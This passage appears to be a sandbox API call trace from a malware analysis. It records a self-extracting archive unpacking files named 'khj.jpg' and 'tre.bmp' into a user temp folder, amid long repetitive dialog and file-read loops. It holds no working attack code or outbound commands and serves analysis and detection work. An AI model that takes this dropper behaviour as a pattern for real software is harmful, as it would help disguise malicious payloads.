nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.057] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.057] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.058] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.058] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.058] GetTickCount () returned 0x1fa26 [0068.058] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.058] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.059] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.059] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.059] GetTickCount () returned 0x1fa26 [0068.059] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.059] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.060] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.060] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.060] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.060] GetTickCount () returned 0x1fa26 [0068.060] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.061] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x218, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x218, lpOverlapped=0x0) returned 1 [0068.061] GetTickCount () returned 0x1fa26 [0068.061] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.061] SetFilePointer (in: hFile=0x1c, lDistanceToMove=861359, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd24af [0068.061] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.061] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.061] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.062] CloseHandle (hObject=0x138) returned 1 [0068.062] SetFileAttributesA (lpFileName="khj.jpg", dwFileAttributes=0x20) returned 1 [0068.062] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd24af [0068.062] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.062] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.063] OemToCharA (in: pSrc="tre.bmp", pDst=0x179cc0 | out: pDst="tre.bmp") returned 1 [0068.063] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="tre.bmp", cchCount2=1) returned 1 [0068.063] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="tre.bmp", cchCount2=6) returned 1 [0068.063] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="tre.bmp", cchCount2=-1) returned 1 [0068.063] SetFilePointer (in: hFile=0x1c, lDistanceToMove=861403, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd24db [0068.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="tre.bmp") returned 8 [0068.063] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.063] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting tre.bmp") returned 18 [0068.063] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting tre.bmp") returned 1 [0068.063] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.063] OemToCharBuffA (in: lpszSrc="t", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="t") returned 1 [0068.063] CharToOemBuffA (in: lpszSrc="T", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="T") returned 1 [0068.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="tre.bmp") returned 8 [0068.063] FindFirstFileW (in: lpFileName="tre.bmp", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.063] GetLastError () returned 0x2 [0068.063] GetFileAttributesA (lpFileName="tre.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tre.bmp")) returned 0xffffffff [0068.063] CreateFileA (lpFileName="tre.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tre.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.063] GetFileType (hFile=0x138) returned 0x1 [0068.063] SetFilePointer (in: hFile=0x138, lDistanceToMove=507, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1fb [0068.063] SetEndOfFile (hFile=0x138) returned 1 [0068.063] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.064] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19f, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, 